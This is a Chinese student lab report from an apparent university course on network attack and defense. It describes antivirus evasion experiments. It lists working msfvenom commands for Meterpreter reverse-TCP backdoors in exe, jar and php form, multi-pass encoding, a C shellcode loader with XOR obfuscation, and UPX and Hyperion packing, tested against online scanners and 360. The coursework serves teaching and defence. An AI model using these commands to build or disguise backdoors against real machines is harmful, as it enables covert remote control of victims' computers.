首页 > 其他分享 >20222319 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222319 2024-2025-1 《网络与系统攻防技术》实验三实验报告

时间:2024-10-31 22:47:14浏览次数:5  
标签:文件 exe 免杀 10 192.168 2024 2025 20222319 杀毒软件

1.实验内容

1.1 实验目的

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 关键问题回答

(1)杀软是如何检测出恶意代码的?

1.检测特征码:杀毒软件拥有一套特征库,通过检索程序代码是否与库中的特征码匹配来判断某段代码是否属于病毒

2.启发式恶意软件检测:如果程序的特征和行为与病毒程序类似,且匹配程度达到一定值,则认为该程序是病毒程序

3.基于行为检测:通过监视恶意代码运行过程,如系统监视工具观察恶意代码运行时系统环境的变化,或跟踪恶意代码执行过程使用的系统函数和指令特征来分析恶意代码功能,如出现恶意行为,则属于恶意代码

4.基于文件校验和:该病毒检测技术主要依赖于计算文件的校验和(如MD5、SHA-1等),并将其与已知的正常文件的校验和进行比较。其核心思想是,恶意软件通常会修改文件内容,从而改变其校验和值。因此,通过定期或不定期地检查文件的校验和是否与正常值一致,可以检测文件是否被篡改或感染病毒

5.云查杀:是一种依赖于云端病毒库的检测方法。与传统的客户端病毒库不同,云查杀的病毒库存储在服务器端,这使得病毒库可以实时更新,而不需要用户手动更新本地病毒库。

(2)免杀是做什么?

指通过各种手段使恶意软件规避杀毒软件和安全检测系统的识别和拦截,从而在目标系统中成功执行。

(3)免杀的基本方法有哪些?

  1. 修改校验和:是一种免杀技术,其核心在于改变文件的特定区域,从而使文件的校验和(如MD5或SHA-1)发生变化。这种方法可以欺骗依赖于校验和检测的反病毒软件,因为校验和(即哈希值)的变化意味着文件内容发生了变化,即使这种变化是微小的。

  2. 修改特征码:指通过改变恶意代码中的特定序列(即特征码),来避免被杀毒软件检测。这些特征码是杀毒软件用来判断恶意软件的关键标识,通过修改这些特定的字节序列,可以使恶意软件逃避检测。

  3. 花指令免杀:指在程序的shellcode或特征代码区域添加无实际意义的垃圾指令。这些指令不会改变程序的运行逻辑,但可以干扰反编译和杀毒软件的特征码检测。

  4. 加壳免杀:是通过使用加密壳来隐藏恶意代码的特征码,使得杀毒软件无法通过特征码匹配来识别恶意软件。加壳技术可以掩盖原始的特征码,但根据实验结果显示,当前的杀毒软件大多能做到较准确地识别加壳的病毒。

2.实验过程

2.1任务一 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

此时
linux虚拟机ip为————192.168.56.103
windows主机ip为———192.168.1.115

首先将实验二中生成的后门文件放入专门用于病毒扫描的网站进行病毒检测评估
本实验中我选用的是Virustatol网站,


结果显示,该后门程序在各大病毒扫描引擎面前很容易便被识别出来,因此,对其进行相应的免杀操作显然是本次实验的重中之重。

2.1.1.1对于多次编码后exe文件的免杀效果

首先在虚拟机命令行输入>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f exe > 20222319encoded_1.exe

与实验二不同的是,这行代码中加入了如下参数

-e 参数指定使用的编码器。
x86/shikata_ga_nai 是一个逃避杀软检测的编码器,它可以使payload更难被静态分析工具检测到。
-b 参数指定需要避免的字节。这里\x00代表空字节,防止程序执行时提前结束

事实证明,本次编码确实是有一点用,但也确实不多,免杀效果有限,
但这次编码仅仅编码了一次,若是编码更多次是否可以有更好地静态检测免杀效果?
于是我们在命令行中输入以下指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f exe > 20222319encoded_10.exe

其中

-i 10 表示编码10次


可事实证明,其免杀效果甚至还提高了,一种解释是多次编码后程序的存储占用更大,其代码复杂性也就越高,可能引入异常或不稳定行为,易引起查毒引擎特征库的注意

2.1.1.2对于多次编码后jar文件的免杀效果

众所周知,exe文件在windows系统中非常常见,因此杀毒引擎必然对以其为载体的病毒文件更为关注,那么其他格式的病毒文件编码后的被查杀效果会不会更低一些呢?

于是我们在虚拟机命令行中输入指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 x>20222319encoded_1.jar
生成一份编码一次的jar病毒文件

再在命令行中输入指令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.56.103 LPORT=2319 x>20222319encoded_10.jar
生成编码10次的jar病毒文件

结果显示,jar文件的免杀率仅仅为exe文件的一半,免杀效果更好。
因为jar属于Java代码,其在运行前需要通过Java虚拟机(JVM)进行解释执行,这增加了分析的复杂性。但相对的,这也要求用户也必须安装了java环境,该jar文件才能执行。所以有得也有失,必须结合实际情况来用。

2.1.1.3对于多次编码后php文件的免杀效果

在虚拟机命令行中输入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 x> 20222319encoded_1.php

在虚拟机命令行中输入msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.56.103 LPORT=2319 x> 20222319encoded_10.php

结果好的出奇!已经是能避免大部分杀毒引擎的查杀了,原因可能是许多正常的网站和应用程序也会包含PHP脚本,这可能导致杀毒软件若是严格检测则会产生较多的误报,因此杀毒软件可能对PHP文件的检测更为宽松,以减少误报对正常业务的影响。

2.1.2利用shellcode编程进行免杀测试

此时
linux虚拟机ip为————192.168.50.192
windows主机ip为———192.168.1.115

在虚拟机命令行中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 -f c
生成一个包含 Meterpreter 反向 TCP 连接 payload 的 C 语言源代码文件

然后用此代码写一个c语言文件如下,其中主函数仅用于实现buf数组中以十六进制编码的shellcode


免杀效果一般。

2.1.3利用加壳手段进行免杀测试

2.1.3.1对于压缩壳

在虚拟机命令行中输入upx 20222319.exe -o 20222319shellcode_upx.exe给上一步骤生成的Shellcode加层壳,


结果显示不仅没有加强免杀效果,甚至还更容易被检测到了,也许杀毒软件的启发式分析引擎可能会将压缩文件视为高风险对象,尤其是当它们包含未知或可疑的可执行内容时。这种分析可能导致压缩的后门文件更容易被标记为可疑。

2.1.3.2对于加密壳

在虚拟机命令行中输入cp 20222319.exe /usr/share/windows-resources/hyperion/
将目标文件,也即等待加密的文件放入加密程序所在的目录下
再输入cd /usr/share/windows-resources/hyperion/进入这一目录下
最后输入wine hyperion.exe -v 20222319.exe 20222319Shellcode_hyp.exe即可为目标后门文件加一层加密的壳

通过nc传输到主机上,并交付病毒测试平台进行测试

可见文件更容易被查杀了。

2.2任务二:通过组合应用各种技术实现恶意代码免杀

在虚拟机命令行输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f c

将输出的十六进制后门代码放入写好的c文件里逐一异或0x01,得到异或后的代码


再输入vi Shell20222319encoded_10.c打开该c文件

为程序添加主函数int main(){ for (i = 0; i < sizeof(buf); i++) {buf[i] ^= 0x01;} int (*func)() = (int(*)())buf; func(); }
使得程序未执行时处于伪乱码状态,执行时才是后门文件

保存退出后再于命令行输入i686-w64-mingw32-g++ Shell20222319encoded_10.c -o Shell20222319encoded_10.exe
再加一层压缩壳upx Shell20222319encoded_10.exe -o Shell20222319upx_encoded_10.exe

再将该文件放入加密程序所在的目录下并进入其中
cp Shell20222319upx_encoded_10.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
为文件套一层加密壳
wine hyperion.exe -v Shell20222319upx_encoded_10.exe 20222319_END.exe

得到终极后门软件20222319_END.exe

但事实证明杀毒软件不吃这一套,甚至以极高的查杀率终结了这一个终极后门软件。通过nc传输到主机上时直截了当地被360查杀,实验失败
(ó﹏ò。)

3.问题及解决方案

  • 问题1:XXXXXX
  • 问题1解决方案:XXXXXX
  • 问题2:XXXXXX
  • 问题2解决方案:XXXXXX - ...

4.学习感悟、思考等

在本次实验中,我不仅掌握了通过编码器、C Shellcode、加壳等技术手段进行免杀操作,还深入理解了免杀技术的原理,认识到,静态检测主要依赖于特征匹配和行为分析,而动态检测则侧重于监测程序在运行时的行为,两者相结合可以更有效地识别恶意软件。

本实验对我而言存在着两个难点,一是在安装Veil时尽管搜索了网络上大部分安装bug解决方法,邀请了成功安装的同学参与调试安装,但veil始终安装不下来。

第二个难点是如何确保这一个后门软件能够真正逃过市面上主流杀毒软件的查杀。我通过实验发现,即使是经过精心设计的免杀技术,也不能保证100%的成功率,就像我那一个终极后门软件。这要求我在实际操作中不断调整和优化免杀策略,以适应不断变化的安全环境。
事实还是证明,道高一尺,魔高一丈,市面上主流杀毒软件,其功能还是相当强大的。

参考资料

标签:文件,exe,免杀,10,192.168,2024,2025,20222319,杀毒软件
From: https://www.cnblogs.com/20222319zzs/p/18487381

相关文章

  • 20222409 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    1.实验内容1.1本周学习内容1.1.1后门工具使用*Netcat:用于端口探测、局域网通信、文件传输,以及正向和反向连接的测试。*Meterpreter:作为Metasploit框架中的载荷模块,常用于溢出攻击成功后的控制会话,提供持久化的控制通道。*Veil-Evasion:Linux平台上的免杀工具,用于生......
  • 论文速读记录 - 202410
    坚持看论文不容易啊,十月也是多事之秋。看的论文有点少,也有点散,还是要专注一些具体的方向,梳理脉络,整理方案,才是看论文找解决方案的正确思路。以后的每篇论文解读的后面,会附带一点个人看法/评论,如有冒犯还请见谅。目录:LATECHUNKING:CONTEXTUALCHUNKEMBEDDINGSUSINGLONG-C......
  • 2024.10.31 近期练习
    板刷ARC,再不刷就退役了。ARC185AmodMGame2猜结论题,两个人牌的总和是\(n\times(n+1)\)。若\(n\times(n+1)\bmodm=0\)或\(>n\)先手获胜。显然手牌还有大于\(1\)张的时候不可能失败。和取模\(m\)为\(0\)那么后手一定最后一张失败;若取模\(\len\)则后手一直......
  • 2024.10.31
    《代码大全2》是一本编程领域的经典之作,为开发者们提供了丰富且实用的指导。在阅读过程中,关于软件构建的前期准备给我留下了深刻印象。书中强调了需求分析的重要性,这就像是大厦的蓝图绘制。如果对需求理解不清晰或存在偏差,后续的代码编写可能会像没有方向的航行。例如,若开发一个......
  • 2024.10.31..
    《代码大全2》是一部编程领域的瑰宝,为编程者打开了一扇通向高质量代码世界的大门。阅读此书,深刻感受到它对于编程全方位的指导意义。从前期的规划设计到具体的代码编写,再到后期的调试优化,无一遗漏。在设计阶段,它教会我们如何准确把握需求,制定合理架构,避免盲目编码。编写代码过程......
  • 2024.10.31.
    《程序员修炼之道》为程序员们呈现了一条从入门到精通的成长路径,宛如一幅指引前行的地图。书中提到的“注重实效的哲学”让我深思。它强调要以一种务实的态度对待编程,明白每个代码决策背后的价值。例如,在选择算法时,不能仅仅因为某个算法新或者复杂就选用,而要根据实际的业务场景......
  • 2024/10/31
    十月的最后一天。CCO2020ExerciseDeadlines交换次数等于逆序对数量,所以我们的目标就是最小化逆序对数量。考虑一个贪心,每次将尽可能大的数放在最后面。用线段树/树状数组来维护即可。「雅礼集训2017Day4」洗衣服有一个做法是分别处理洗完每件衣服的最少时间\(a_i\),和烘......
  • 20222402 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    1.实验内容本周学习免杀:英文为Anti-AntiVirus(简写VirusAV),逐字翻译为“反·反病毒”,翻译为“反杀毒技术”。一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。杀毒软件原理。免杀处理:对生成的恶意代码进行免杀处理,加壳。测试与验证:将处理......
  • 20222404张嘉月 2024-2025-1 《网络与系统攻防》实验三实验报告
    1.实验内容(一)本周所学恶意代码的简介、类别、代表性的恶意代码介绍,包括僵尸程序、后门攻击、蠕虫等等。历史上的恶意代码历史发展和所造成的影响与影响范围。介绍恶意代码的分析技术(静态、动态)(二)实验要求(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技......
  • 20222415 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    1.实验内容学习了恶意代码和恶意代码的分析,并介绍了信息搜集技术和怎样进行信息搜集。2.实验过程1.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧(1)使用msf生成可执行文件并检测生成payload并检测msfvenom-pwindows/meterpreter/reverse_tcpLHOS......